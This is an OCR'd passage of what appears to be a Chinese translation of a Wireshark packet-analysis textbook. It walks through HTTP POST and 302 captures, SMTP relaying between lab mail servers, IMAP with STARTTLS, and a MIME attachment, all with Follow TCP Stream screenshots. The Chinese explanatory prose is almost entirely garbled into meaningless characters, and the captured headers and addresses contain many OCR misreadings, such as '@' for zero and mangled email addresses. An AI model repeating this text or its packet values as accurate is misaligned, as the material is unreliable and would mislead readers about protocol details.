B HABAR gzip R4 VAR S AR, X2 B Web IR4-25 49 HTTP #f1 5L F 89 9 22
A F AT, RA A ZEG RN, S35 B 5 Tk,

HTTP ] 1 — L SLAIAR RS , SRR 7RI RITIE R4 R AR XA 5,
HAVE R —alE 200 WRNASHIEHER, Rom—IREIITERIE. ZAHE
BLRREEL S — AN TaIER, DAL — 2555 T Web iR 55 4% PN 2 4 65 AN HC B2 B A o
HRe HE SRR AR )R, X RAEER SR T

9.3.2 HTTP

TAVE L TN Web rdsa8 T EEAR SRR, BIERBE R m A5 .
A http_post.peap B T —ANHEE i RE FAARE T —DHPAE DMK
RIFI® . EVER =RIEF G, % 0 (172.16.16.128) 1] Web R 55 4%
(69.163.176.56) Ki% T —A> HTTP ¥, nkd 9-25 Araw.

XA AL POST J77%, RIA Web AR 55 4% DAL B DAL Ab#E . IX B A
F#) POST 77745468 T URI /wp-comments-post.php PAA HTTP 1.1 iR fiA . U
RAEE FAERIR N E, Al DUR XA HE L1 Line-based Text Data #1473 o

FEIXAS POST IIEHEALA I E L e RS54 2 K% —> ACK $dfa . anf& 9-26
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M Wireshark - Packet 4 - http_post

> Frame 4: 1175 bytes on wire (9480 bits), 1175 bytes captured (9400 bits)

> Ethernet II, Src: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (80:05:5d:21:99:4c)

> Internet Protocol Version 4, Src: 172.16.16.128, Dst: 69.163.176.56

> Transmission Control Protocol, Src Port: 1989 (1989), Dst Port: 8@ (80), Seq: 2808074211, Ack: 3740859985, Len: 1121

v

> [Expert Info (Chat/Sequence): POST /wp-comments-post.php HTTP/1.1\r\n]
Request Method: POST @
Request URI: /wp-comments-post.php @
Request Version: HTTP/1.1

Host: www.chrissanders.org\r\n
User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20891221 Firefox/3.5.7\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,*/*;q=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\rin
Accept-Charset: IS0-8859-1,utf-8;q=8.7,%;q=0.7\r\n
Keep-Alive: 388\r\n
Connection: keep-alive\r\n

Referer: http://www.chrissanders.org/?p=310\r\n

[truncated]Cookie: _ utma=84195659.500695863.1261144042.1265668706.1265682737.20; _ utmz=84195659.1264688282.12....
Content-Type: application/x-www-form-urlencoded\r\n

Content-Length: 179\r\n
\r\n

Full request URI: htty
[HTTP request 1/2]
Response in frame: 6
Next request in frame: 7

v HTML Form URL Encoded: application/x-www-form-urlencoded @
Vv Form item: “author” = “Chris Sanders”
Key: author
Value: Chris Sanders
v Form item: “"email” = "chris@chrissanders.org”
Key: email
Value: chris@chrissanders.org
Vv Form item: "url" = "http://www.chrissanders.org"
Key: url
Value: http://www.chrissanders.org

No.: 4 - Time: 0.081100 - Source: 172.16.16.128 - Destination: 69.163.176.56 - Protocol: HTTP - Length: 1175 « Info: POST /fwp-

v

v

'www. chrissanders.org/wp-comments-post. phy

bp HTTB/1.1 wrlencoded)

[& 9-25 HTTP POST #4348 &,

M Wireshark - Packet 6 - http_post

> Frame 6: 964 bytes on wire (7712 bits), 964 bytes captured (7712 bits)
> Ethernet II, Src: D-Link 21:99:4c (00:05:5d:21:99:4c), Dst: IntelCor Sb:7d:4a (00:21:6a:5b:7d:42)

> Internet Protocol Version 4, Src: 69.163.176.56, Dst: 172.16.16.128

> Transmission Control Protocol, Src Port: 80 (88), Dst Port: 1989 (1989), Seq: 3748859985, Ack: 2808075332, Len: 910

v
> [Expert Info (Chat/Sequence): HTTP/1.1 302 Found\r\n]
Request Version: HTTP/1.1
Status Code: 302 @)
Response Phrase: Found
Date: Tue, €9 Feb 2010 02:30:26 GMT\r\n
Server: Apache\r\n
X-Powered-By: PHP/4.4.9\r\n
Expires: Wed, 11 Jan 1984 05:00:00 GMT\r\n
Cache-Control: no-cache, must-revalidate, max-age=6\r\n
Pragra: no-cache\r\n

Set-Cookie: comment_author_ed7dc82882e903c170f35a2d747915b=Chris+sanders; expires=Saturday, 22-Jan-11 87:50:27 GMT; path=/\r\n
i =chri i .org; expires=: y, 22-Jan-11 @7:50:27 GMT; path=/\r\n

= y, 22-Jan-11 07:50:27 GMT; path=/\r\n

Set-Cookie: comment_author_email ¢

Set-Cookie: comment_author_url_0d 170f tps ol Lorg; exp:
Last-Modified: Tue, @9 Feb 2010 ©2:30:27 GMT\r\n
@ Location: http://wwe.chri .org/2p: page

Vary: Accept-Encoding\r\n
Content-Encoding: gzip\r\n

Content-Length: 20\r\n

[Content length: 20]

Keep-Alive: timeout=2, max=100\r\n

Connection: Keep-Alive\r\n

Content-Type: text/html\r\n

\r\n

[HTTP response 1/2]

[Time since request: 1.356727000 seconds]

Re in fr: H

[Next request in frame: 7]

Next response in frame: 18

Content-encoded entity body (gzip): 20 bytes -> @ bytes
No.: 6 - Time: 1.437827 - Source: 69.163.176.56 - Destnation: 172.16.16.. ngth « Info: HTTP/1.1.

<

9-26 HTTP A i A5 302 A k34T E 2 %)
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9.4

94.1

302 AR RS2 HTTP tH 53—~ 5 I 8 7 F B XN ALY Location
BEFR W T P it L [ (O e TR B, S AN T VT BT R R R 4G Web
WITT . B, RS B ftik — AR 200, I HAxXA G N B0 3 R —
SR 0 AT RIE, T 8 AR -

T SRR B (SMTP )

R UL Web W 2 5 I8 2 253, IR A WCR BB AT RE 2
5 Ao Tl BB AR R P L (SMTP) /2 A& WA AR AE, B4 Microsoft Exchange
FN Postfix & F &£ H .

5 HTTP —#%, SMTP T8 7. 5% im/ RS e atEmem—&R
FIRFE I, R S5 B AR 2R . EARTT, FRATK @IS e 5 R B
SR, R RIS R AT 00T, SRERFT SMTP [ —EE AR TR .

MBIl 55 280 S IR BUR 552Ktk e RAS S T —H B4, AW K
1G5 WORRAE;  WIS38 D3R A AR BGE , R MRk BIMR R 3E AT 20 . AR & HY
s IR AR Bl 1 2 el S R R A R 25 1) S — AN AE, BRE R R S —A
TR BRI R . — SRR R T, T ReiEd 2 AR, H
BRI T TR I N SR ) 6  FY “ Hub” 1R . XM BA& AR
K 9-27 Fiias .

AR 5 DL B R AR 2R, (M RARE A DA X TAA
HF, BFHsFER T EEAE, vt P SRARIR AR A7 . RIE AR ROIR %S -
F st mis e AR (MUA), 4 Microsoft Outlook 5%, Mozilla Thunderbird,
V1] HSAE -

M PURIEMBERS, MRARR B MUA RO AL (MTA). MTA
T TRMCE RS 45, TAT IR IR 25 2% B H £2.45% Microsoft Exchange Al Postfix.
W S 77 5 R AT T IS ARTE], U MTA H4 B AR IE B 2= IS A B4R o
LSRR FE R Ak 2 AR T IBAR, U MTA Krdid DNS BT b
- anthhl, FREHAE R RS A% (EAERERE, MRS AE E I A H
2, i A OEAREE (MDAD AR AREE (MSAD, {H 2 M5 1) £ FE
B, BATEE R oSS as e . DL RIS R B AR Q] 9-28 s
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e 4
EHARIR A EINIES
s
g il 1] gl g ¥
PLINCE S A RS N IES
EIEE RS
s . 4
PUINIES A RE#EHD RS YN CES

9-27 BITHREBUR SR E R

(S g R 1 4

user] @domain-abc.com Z user2@domain-abc.com

SMTP—> IMAP/POP3 —
[FEESSX [FEESX

HR 4 PR EE(MUA) BRI R IR (MTA) BR 14 PR IE(MUA)
[BMEE I LA [ER#EAR 5588 : domain-abc.com] [MEE,Pum: WHERA]
EEI AR 1R 4

user] @domain-abc.com & user2@domain-xyz.com

SMTP—»SMTP—»IMAP/POPS—»
[ /RSN

B3¢ A P REE(MUA) BREEF PR IR (MTA) B¢ A PR IR (MTA) BR¢EF PR IR (MUA)
[EREEZE i &75]  [BREERARSSES: domain-abc.com] [HBHFBRSEER: domainxyz.com]  [EBEFE Fuf: W]

9-28 it SMTP & £ ¥t
T RARAER B, FATHMEE P iR MUA,  BRIRSS #8337~ MTA.
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9.4.2

Xt RO TR S TR R R, BADTH IR EE X AR R HE
Bl ESEMIE 9-29 iR Mgt .

SKYNET4& CYBERDYNEM4&
‘—SMTP—»SMTP—» IMAP ——

/RSN /FEES
WindowsER {42 i PostfixHl {4AR 55 25 PostfixHl {4 AR 55 25 WindowsEB{H4Z i
b3 N skynet.local cyberdyne.local eI

172.16.16.225 172.16.16.221 172.16.16.231 172.16.16.235

B 9-29 SRIF—3 b T AA 5 B 9 HE i AE
DL B 3 AP ER
(D AP MIFENL (172.16.16.225) KiE—EH-FIEEE, B2 5 i f#
SMTP VS, KM {4 2 A H IR 25 2% (172.16.16.221/skynet.local 3.

(2) AHiHIE AR AR 25 25 BB A4, FFA ] SMTP K H AL Ha 2= e R 1 R 55 2
(172.16.16.231/cyberdyne.local 35 .

(3) R M AR 55 #% B2 S s 14 J‘H H 5@ A B AR A OCE . S g B
Bl (172.16.16.235) _ERIHBAER F i ik IMAP B isCEL BB .

%1 B A IR ST A

BATINEE — B IF IR B D B F WA K IEEF2, XS £ 8 &S
mail_sender_client_1.pcapng. XN M AR 25 7 o b By ik ” ki
TEEG,  F P T ERURIA - R A I 55 28 AE AT 3 AN Eidfs B b 58 B TCP #2 T

FE K H, AR VA LI 6, M BT A 49 “ETHERNET FRAME CHECK
SEQUENCE INCORRECT” 4%, f£RIIRGL T A& X 403 LBt g — A T
BT T X AR,

HERERSLIG, 27 fd A SMTP 4 MR- 22 AR IR 25 2% o 70 i E0cais (o i
PRATELZEAS N 58 SMTP 5 R 3 I 28 0, 78 “ B aies” @ 1 h & %& SMTP
oy, AHRAE —FERIER . BT SMTP & —Fh& e, I HAE
XA Rl AE R B SR, BRI R e BAER R TCP dit, A £ — AN
BEEBMERIS R IS R EIE N R G, RE A LR “Follow >
TCP Stream”. &%) TCP 411l 9-30 Fix.
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - mail_sender_client_1 — O X

220 mail@l ESMTP Postfix (Ubuntu) @

EHLO [172.16.16.225] @

250-mailel

250-PIPELINING

250-5IZE 10240000

€ 250-VRFY

258-ETRN

258-STARTTLS

258-ENHANCEDSTATUSCODES

25@8-8BITMIME

258 DSN

MAIL FROM:<sandersf@skynet.local> SIZE=556 @)
250 2.1.9 Ok

RCPT TO:<sandersficyberdyne.local> @

250 2.1.5 Ok

DATA

354 End data with <CR><LF>.<CR><LF>@®

To: Chris Sanders <sandersficyberdyne.local>
From: Chris Sanders <sandersf@skynet.local>
Subject: Help!

Message-ID: <5682DB80.4010607@skynet.local>
Date: Tue, 29 Dec 2015 14:14:88 -0500
User-Agent: Mozilla/5.8 (Windows NT 16.@; WOW64; rv:38.0) Gecko/20100101
Thunderbird/38.5.0 @

MIME-Version: 1.8

Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit

I need your help. The system has become self aware. On second thought,
why am I sending this from a system that can most certainly intercept
it? Oh well....

250 2.0.0 Ok: queued as 931C44008D5
QUIT
221 2.0.9 Bye @

7 client phefs), 7 server pkefs). 12 tums.

Entire conversation (351 bytes) - ‘ Show data as | ASCII ¥ | Stream

Find: | | [ Findnext |

‘Hide this sheam‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ l Help

B 9-30 FA MR F 5% Z AR 42549 TCP AL

TR G, MRS AR 4 % im Rk — DRGSR, £
AR 45 28 B A ME R I i & . TEAREI, R4S 28578 AIZ4T7E Ubuntu Linux
R4 LI Postfix 55 25@ . [FRF, RS & S R & SMTP (ESMTP) i
4. ESMTP & SMTP (¥ J&, Fuirfe b kA& 4 b 3 2 1 &

MELEZE P i AE RS AL 5 il EHLO fr A3 TR B @, 4 fF iR 55 2830 FF
ESMTP i, EHLO fEN “Hello” 74, ibMRS S iRAIRE MR i ENL. /A
Y FF ESMTP HIE6LR, I HELO & AT RS P umiRial. EABH, K
fE 7 TP Hubk/E AR B J7 5, seabh, 3804t m] DUE AR B 7 =K.

XA 7, RSS20 2 N A A4% VREY .STARTTLS F1 SIZE 102400000 .
XN RN SMTP R4 2% SCRFAIM S, 1485 R0 7 ity 78 A4 A% fan i F
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A o AEACEMRAEZ T, XML P i IR 2 AR EAE R SMTP £
EITAEE 2y . EPHE R MBI 8 JTAG, XTSRRI IR ER 7 A 2 8
N A% it AR R B B

SMTP  Hi%% 7 sy 3% P 1] B i 2 PO S BB A5 1], RSS2 2 Bl 52 RH . ) g J37
o XAHBETHR A T HMN ML, 5 HTTP A TELNET 1RAHL. Hdi 8 A%
9 & —HRBIER/BIE, 20 R IE T MAIL 7%, 2308 FROM:<sanders@
skynet.local> SIZE=556@; x5 #% 51 5 ()M SRS g 250 G =R BB A 44 52 B0
ZH0N 2.1.0 Oke FEIXRAERH, 20700 KA T RAR J7 B HSRS bk AR,
55 2 e 87 150 B £ B O e e, I B RIEms . SRR fE i Rtk A AR 2K
PEA 10 FEHER 11; & K i% RCPT 1in4, 30N TO:<sanders@cyberdyne.
local>@®, JIR55 a3 B Ay 250 2.1.5 Ok.

Tl 4 IR 20 AR FMR A I S50 . a0 12 B, %5 7 i fd B DATA i
A A s N AR R . BRSS 2RI NS A 354, FEHEAR(E RO, o, miNig
354 KRR SS A X BHBAF AR T 200X, 25 7 v v] AR AR MR B (s 8
LR U T B R 3% — N <CR><LF> <CR><LF>F T hric A& & 1k o X i 14
FA W SC ARy, I HLp NAD R RAE R T . IREVERE], MBSO A5 — kit
IER, ¥R, WA, DR PR, DL EEER
B, A5 8 Mozilla Thunderbird 3% 11X £ HE 1@ .

FERTSE R R, TEEHRE 18, MRLEE P umfd AW 28010 QUIT fin s, &
15T SMTP i#EHz. EEHEE 19 1, RSB RIE NS 221 (<domain> 1L
WRHD, WHZSECN 2.0.0 Bye®. TCP EHAEEIE A 20~23 F11EH M.

5§20 ARG R TR ST A

Bk, FATEM skynetlocal HHFIAHIMEAAR S35 (Hihlh 172.16.16.221)
M, FREIXNM LR 5. T8 BIEdE CAFEE mail_sender server
2.peapng SCAFH,  IXEEHHE AL AT DL E MO RS A% EATUB. T B A P v &
A IR SS AR AR AR, AR IR S5 2% ERINE TRl b iRes I,
mail2_sender_server 2.pcapng L7 HIHT 20 Z2 MRS 1 P R A —3.

SR A H 2 skynet.local 3 I FLARIBAE, 54 FRATA 2 R B AR
SMTP &% ; TATRE BIFHEAMRAEZ P 5 POP3 B IMAP #h BUSCHUAR A . 48
M, HFXEIARIEZE cyberdyne local 38, Kb AH SMTP R 5% 25 4 AU
MR 41 228 cyberdyne.local $2HE IR 55 AR MR AR IR S5 2% . (EEUR L 22 1, &
HuHBAFAR 25 2% 172.16.16.221 FIZAEHR (R 45 4% 172.16.16.231 JFUH#4T TCP 42
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=
R

T IHITIRE 2 DAL R

FIEGTp, SR S35 38 i —FP 455k 69 DNS 18R £ A — a3 (MX)
K, FALHMRIRS B, BT RTHIHF A LR EIRE, LTRSS 56
IP 3ot O 2 A B A AR 535 £, BR&AH$RAF 2] DNS idfzidf2. £
BATERME R £ SR 0T, F -2 8 DNS 1988 L BRARAR £ 0445 2 Pl 69 9 2L

B ERE, RATESUR AR DER, ML R R 55 s i
FEAE A SMTP thil . BREFESHNIFER TCP i, RE6E HIEMH A H X Ao ih it f2,
mE 931 Pion. R T ER XA EEAMER R, EATIESE T
tep.stream==1 1F Nk 26 1F

‘ Wireshark - Follow TCP Stream (tcp.stream eq 1) - mail_sender_server_2 — O X

220 mail@2 ESMTP Postfix (Ubuntu) @
EHLO mailel @
250-maile2
25@-PIPELINING
250-SIZE 10240000
9250—\IRFY
250-ETRN
25@-STARTTLS
25@-ENHANCEDSTATUSCODES
25@-8BITMIME
250 DSN
MAIL FROM:<sandersfskynet.local> SIZE=732
RCPT TO:<sandersficyberdyne.local> ORCPT=rfc822;sandersficyberdyne.local
DATA
250 2.1.8 0Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
Received: from [172.16.16.225] (unknown [172.16.16.225])
by mail@l (Postfix) with ESMTP id 931C4486D5
for <sandersficyberdyne.local>; Tue, 29 Dec 20815 14:13:51 -85@0 (EST)
To: Chris Sanders <sandersficyberdyne.local>
From: Chris Sanders <sandersfskynet.local>
Subject: Help!
Message-ID: <5682DB80.4810607@skynet.local>
Date: Tue, 29 Dec 2015 14:14:08 -0500
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.0) Gecko/20168101
Thunderbird/38.5.@
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit

I need your help. The system has become self aware. On second thought, o
why am I sending this from a system that can most certainly intercept
it? Oh well....

QUIT
250 2.0.@ Ok: queued as 994C8617DF
221 2.06.0 Bye

3 chient phe(s), ¢ server pafs). 6 turns.

‘Enﬁre conversation (1155 bytes) = ‘ Show data as Stream

Find: | | [ Find next |
‘Hide this stream‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ ‘ Help

9-31 T AMNAMEAFIR S35 ZRAZEAFIR S35 49 TCP A
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XA RS 9-30 R BEEA . AR L, BEERIREA
B3, XHET, B8R 2 hERE R R AR S A 0], DI 1
R R AEAER P i A RSS2 2 B o EFEIRSS A AR 10N mail02@, AHi R 55 2%
Behrid N mailo1 @, ARG SILE T — R HELO: #iHFNEOIED
TR e B SCAR, L INAE To: Chris Sanders <sander@cyberdyne.
local> 17 Z A&7 o XA EERL LR 6L 27~35 1, Dl—A> TCP WiiT{k
VoK

MR L, TR BRSO RSk F UG P36 A2 55— SMTP IR
5o, BT RAZE 7 i —— IR 5% 4 ISR A i v B A FE) RO U AN e R AE IR 25 A —— IR S5
axlp AR R P A S (R0 [l 5 SRS BR A1) o AESEBRfE oL,
AR b FS A1 e 5% 2% AR IZE R IR A R 55 2% 1T e JF A R A M R RIS 3R & (R
LEMBHLE), B ETREARN TG, XE SMTP ZFH TV LEE 1)
R EENER; XA R 7AEE R AT, W IRSS 25K B & SRR
A SRR ROR LG AT TT, NI 58 AL FH a2 PR . 72 SMTP 25 7 i
B FE I TSR S A RHIE S BUR , BERS DRIE R AT 7 AOE 1) SMTP A
WIE IR S5 2 1R, JF HLEBA R 3 A= . X —HLHlfE SMTP Befig /2 K& AN
()25 1 g AU AR 55 2 (B RE A, BN, Wb FRATTE AR MBI, ANTR 1 e
77 B 28 15 2845 S o

930 ARG A AR S

WAE, FRATHI M 2058 1 AR WE AR Al 55 4%, il 55 4% 97 B0 4 1 150 &2

cyberdyne.local H1 [ HBAE . FRATKG B 7 20 A2 08 AR IR 55 45 B U0 HodE B
mail receiver server 3.pcapng, WK 9-32 7R,

AT IR IHT 15 MR QIR K rEdm m i rE A 2 5 50w A8 B AH
M, AFEERE, PR AR E AR 55 2 @, H kAR g A B i 55 2%
O . XAUAETEMIE, SMTP RS54 MEAF AR 2 RIBRAR BEAT RIC, 25, T
PRI 5 nT LASH S - 2 S WA EBC R A o

B2 BTHEEIM, SMTP 32 B9 F R A IE M A:; #% HAr, SMTP 2 Ki%
WAL i P AWML MR S5 2% b B B AR W BB 4 () 7 NS 2k, RS, T
FEMSCEU R A Fo A AN B A B B 7 2K, PR R BT 00F T 5 BB A g HUAE 25 1)
P Horr, ERBSRAT B RE R HMY v3 (POP3) Al Internet RS 1] B (IMAP).
TEAR R, EFER v IMAP MR AR 45 a8 OB IR, ) S & AE TR AL
it 16~34 1,

194 Wireshark #2827 L8k (5 3 D
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - mail_receiver_server_3 - m} X

220 mail@2 ESMTP Postfix (Ubuntu) @ ol
EHLO mailel @
250-mail@2
250-PIPELINING
250-SIZE 10240000
25@-VRFY
250-ETRN
25@8-STARTTLS
258-ENHANCEDSTATUSCODES
250-8BITMIME
258 DSN
MAIL FROM:<sandersfiskynet.local> SIZE=732
RCPT TO:<sanders@cyberdyne.local> ORCPT=rfc822;sandersfcyberdyne.local
DATA
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
Received: from [172.16.16.225] (unknown [172.16.16.225])
by mail@l (Postfix) with ESMTP id 931C440@D5
for <sandersficyberdyne.local>; Tue, 29 Dec 2015 14:13:51 -8500
(EST)
To: Chris Sanders <sandersficyberdyne.local>
From: Chris Sanders <sandersf@skynet.local>
Subject: Help!
Message-ID: <5682DB80.4010607@skynet.local>
Date: Tue, 29 Dec 2015 14:14:83 -0500
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
Thunderbird/38.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit

I need your help. The system has become self aware. On second thought,
why am I sending this from a system that can most certainly intercept
it? Oh well....

QuIT

250 2.0.0 Ok: queued as 994C8617DF

221 2.0.0 Bye v
3 client plefs), 4 server plefs), 6 tums.

lEnfre conversation (1155 bytes) = ‘ Show data as Stream

Find: Find Next
| I |

‘Hdeih‘sslream‘ ‘ Print ‘ ‘ Save as... ‘ l Close i Help ‘

9-32 H A MR 458 £ AZ ORAE IR 425 49 TCP A
APHALHDE IMAP FINZ; ARG, BIERMINS T IMAP, A
SR R Z KB — XA EES RS INERN . E55HEE 210,
PR&RIE P om (172.16.16.235) B BEAE IR 45 %% (172.16.16.231) KiET
STARTTLS 4, 4l 9-33 Araw.

W [ tep.streameq 1 B340 ~]Expression... +
~

No. Time Source Destination Protocol  Length Info

18 11.748353 172.16.16.235 172.16.16.231 TCP 60 51147 > 143 [ACK] Seq=1 Ack=1 Win=65536 Len=0

19 11.755638 172.16.16.231 172.16.16.235 IMAP 178 Response: * OK [CAPABILITY IMAP4revl LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE..
20 11.819476 172.16.16.235 172.16.16.231 TCP 6@ 51147 » 143 [ACK] Seq=1 Ack=125 Win=65536 Len=@

21 11.871697 172.16.16.235 172.16.16.231 IMAP 66 Request: 1 STARTTLSo

22 11.871722 172.16.16.231 172.16.16.235 TCP 54 143 > 51147 [ACK] Seq=125 Ack=13 Win=29312 Len=0

23 11.871964 172.16.16.231 172.16.16.235 IMAP 87 Response: 1 OK Begin TLS negotiation now.

24 11.890004 172.16.16.235 172.16.16.231  TLSv1.2 219 Client Hello

25 11.892786 172.16.16.231 172.16.16.235 TLSvl.2 1447 Server Hello, Certificate, Server Key Exchange, Server Hello Done

26 11.910176 172.16.16.235 172.16.16.231 TLSv1.2 212 Client Key Exchange, Change Cipher Spec, Hello Request, Hello Request @
27 11.911283 172.16.16.231  172.16.16.235 TLSv1.2 296 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
28 11.937139 172.16.16.235 172.16.16.231  TLSv1.2 97 Application Data
29 11.937295 172.16.16.231 172.16.16.235 TLSv1.2 238 Application Datae

9-33 STARTTLS 4~4~% ¥ stk IMAP 842 ¥4k hm %
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XA R SS &5, B Sk A TLS I SO i 72 . X057 7E 4
P 24~27 th@FIL | ZA(EIE, /£ FHEIEE T O, MEFICRFEMH TLS (f2
= 2 MGEMR. AR R EHE A, s = uER TCP il (WL 9-34),
R KN AT SN, H BT LM% S R 8K, 8 s S R
AR AR A A

‘ Wireshark - Follow TCP Stream (tcp.stream eq 1) - mail_receiver_server_3 — (] x
* 0K [CAPABILITY IMAP4revl LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS LOGINDISABLED] Dovecot (Ubuntu) ™
ready.

1 STARTTLS
1 OK Begin TLS negotiation now.

-\...g&.H

..Dovecot mail serverl.@

..U, ...maile2l.e

..U, ...mailecise!. *.H.
root@cyberdyne local@. .

151223210614.’.

25122221061420e1.0...U.

..Dovecot mail serverl.e

..U....mailesl.8

2aU....mailezi#el. *.H..

s -..rootficyberdyne.locale.."8

waaX.¥e.d3GHVE. . uDu afennnuns Gocoooc o [F |

Lo[2¥WF.@c. .-} oraML L L[l e

«~07.5c3H. .U. .ol .- Ly VLYY | P A S e S
s --q--8.. f O e {{ocdFocosoonosass 6...h_.17._5.__1 _____
|- B Bocoooose .z2f..d).q...k-.M...=/ v
15 izt plefs), 16 server plefs), 30 wms.
Entire conversation (6202 bytes) - Show data as | ASCII - Stream
Find: | | [ Find next |
Hide this stream Print Save as Close Help

B 9-34 &P 5w T REMH AR mE IMAP 454y
B, AEX SRR WU, AR AN P 22 1A ) A s AR
HUER T o
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9.4.3

SMTP

FEBLTE SMTP T MR TSI o — R A SR )i A, L H {6 FH B
PERGESCAF M ESENE, e o TR Z N EIE SO = e AR RATE
— MR AISEE], KRR T T SMTP BSR4l A% .

TEHNE S mail sender attachment.pcapng ", F P i & P (172.16.
16225) [ [/ — M4 W 5 — M P KIEWE A, A SMTP ik 55 & £ T
172.16.16.221 . XEFHBAF 05 —LSCARNE, LA —ANE 7 SO R

fFH SMTP K& M5 K IE AR A K Z X o EATHE A A2 7] g 25 48 &%
s, RESEPEE SRR, AV DATA &3t 7408
fEi% . IBFTIFINE S, BRES SMTP f£%i1 TCP iit, BEX —#/EilfE. TCP
W 9-35 fias.

A 1 E A IR T UG 5 2 A I3 5= 2L, ELFE AR S5 VR 9 A AT B
BB 9B I iE AL MRS S, B SR R A J7 th bk AN 7 H ke
JEKIE DATA fix 4y, HEIIRSS 47 B A T HOs s i g2 i X . X4 I
a7 VR R

EZ AT, B O B B RS54, SRE e e . 54
B, BT EASOUAR G B2 A, % P i 75 Bk B B R .
TERWEAER, &/ ANEREFRIE A multipart/mixed, BL
———————————— 050407080301000500070000@1E A SCAAE B A1 — 3k %1
P o ek X &R 4, FRRm i A S 2 MR B3R,
AR KRG R ) MIME KB Mg 577 20, & Fh IS8 (0 £ 4fs 458 FH 43 0 1034
FAE b o I X FRHLE], 24 55— W2 v SRS AR B, 2T A AR
AR A a2 1 MIME 88, gutd oy =X, Bl 5 08 03 faT fg by
S A1 50 47

TEAGI B RS W o BB R B A, NIRRT
text/plain®. M5, FATEEE B —rBEFR ORI 0 1RGO . 5 =i
SEEE RO, WAESRALN image/jpeg® . [RIFMESFERZ, Content-
Transfer-Encoding [H¥W N base64©®, XFR/REHE T E(HH base 64 RIS,
R NREYE A L RO .

FIOE HEHISEMSEWHL 197
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - mail_sender_attachment i m] X

220 mail@l ESMTP Postfix (Ubuntu) A
EHLO [172.16.16.225]

250-mailel

250-PIPELINING

250-SIZE 102406000

258-VRFY

250-ETRN

250-STARTTLS

25@-ENHANCEDSTATUSCODES

250-8BITMIME

258 DSN

MAIL FROM:<sandersf@skynet.local> SIZE=76692

250 2.1.0 Ok

RCPT TO:<ppafskynet.local>

250 2.1.5 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

To: ppafiskynet.local

From: Chris Sanders <sandersfiskynet.local>
Subject: New Coworker

Message-ID: <56849222.4000609@skynet.local>
Date: Wed, 3@ Dec 2015 21:25:38 -0500
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
Thunderbird/38.5.@

MIME-Version: 1.0

Content-Type: multipart/mixed; (1)
boundary="------------ 850407030301000500070000"

This is a multi-part message in MIME format.
—————————————— 850407080301000500070000

Content-Type: text/plain; charset=utf-8; format=flowed @
Content-Transfer-Encoding: 7bit

A new guy started this week. There is something different about him, but
I can't quite figure it out. Every time he sees me he asks for my
clothes, my boots, and my motorcycle. I don't even own a motorcycle! I
took a quick picture and have attached it here. Have you seen this guy
before?

>>>>>>>>>>>>>> 850407030301000500070000 ©
Content-Type: image/jpeg; @
name="newguy.jpg"
Content-Transfer-Encoding: base64 @
Content-Disposition: attachment;
filename="newguy.jpg"

/93 /4ARQSkZIRgABAQAAAQABAAD / 2wBDAAMCAEMCAEMDAWME AWMEBQEFBQQEBQoHBWY IDAOM
DAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDABXGBYUGBIUFRT/ 2wBDAQMEBAUEBQkFBQkUDQSN
FBQUFBQUFBQUFBQUFBQUF BQUF BQUFBQUF BQUF BQUF BQUF BQUFBQUF BQUFBQUFBQUFBT /WAAR
CAFaAmcDASTAAhEBAXEB/ 80AHWAAAQUBAQEBAQEAAAAAAAAAAAECAWQFBECICQoL /BQAtRAA
AgEDAWIEAWUFBAQAAAFIAQIDAAQRBRINMUEGE1FhBy IxFDKBkaEII@KxwRVS@TAKM2IyggkK (6]
FhcYGRo1JicoKSo@NTY30Dk6Q@RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG
h4131pKT1IWW15iZmgKjpKWmp6ipgrikztLW2t71i5usLDXMXGX8] Iy tLTINXW19Z2uHi4+T1
5ufoBerx8vP@9fb3+Pn6/8QAHWEAAWEBAQEBAQEBAQAAAAAAAAECAWQFBECICQoL /8QALREA
AgECBAQDBACFBAQAAQI3AAECAXEEBSEXBhIBUQdhcRMiMoEIFEKRObHBCSMzUVAVYnLRChYk
NOE18RcYGRomJygpKjU2Nzg5S0kNERUZHSE1KUIRVV1dYWVpZGYmZ2hpanN@dXZ3eH16go0E
hYaHiImKkpOUlZaXmImaoqOkpaangqKmqsro@tba3ulméwsPExcbHyMnK@tPUldbX2NnaduPk
5ebn60nq8vPa3fb3+Pn6/90ADAMBAAIRAXEAPWDE+L3GR]pXd/C+e1Nx5c2wHPRjjNCFdHIB
HrV3TZDGwKnBHcHmvr JLO+PEfQ9YBZ2tmuwwBY2YSFrn/ElgsfhB0VGNUS1Z9hgBeZDMzMAC .
24 chient phas), 7 server pktfs), 12 turns.

‘Entire conversation (77 kB) =2 | Show data as Stream

Find: | | [ Findnext |

‘Hide Hissheam‘ ‘ Print | ‘ Save as... | | Close ‘ | Help ‘

9-35 A PAZA SMTP L M1
PECRTHALT , NN it 7 RN 77 R Base 64 il JLF-AE 1

198 Wireshark #(iEE 232k (5 3 MDD
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R[N, ATAIEGOX — B 5 RSB AR 2 AN TR A B . sRAR
RE BT E A SIS B R, 1E58 12 BREFRAAR S, A—
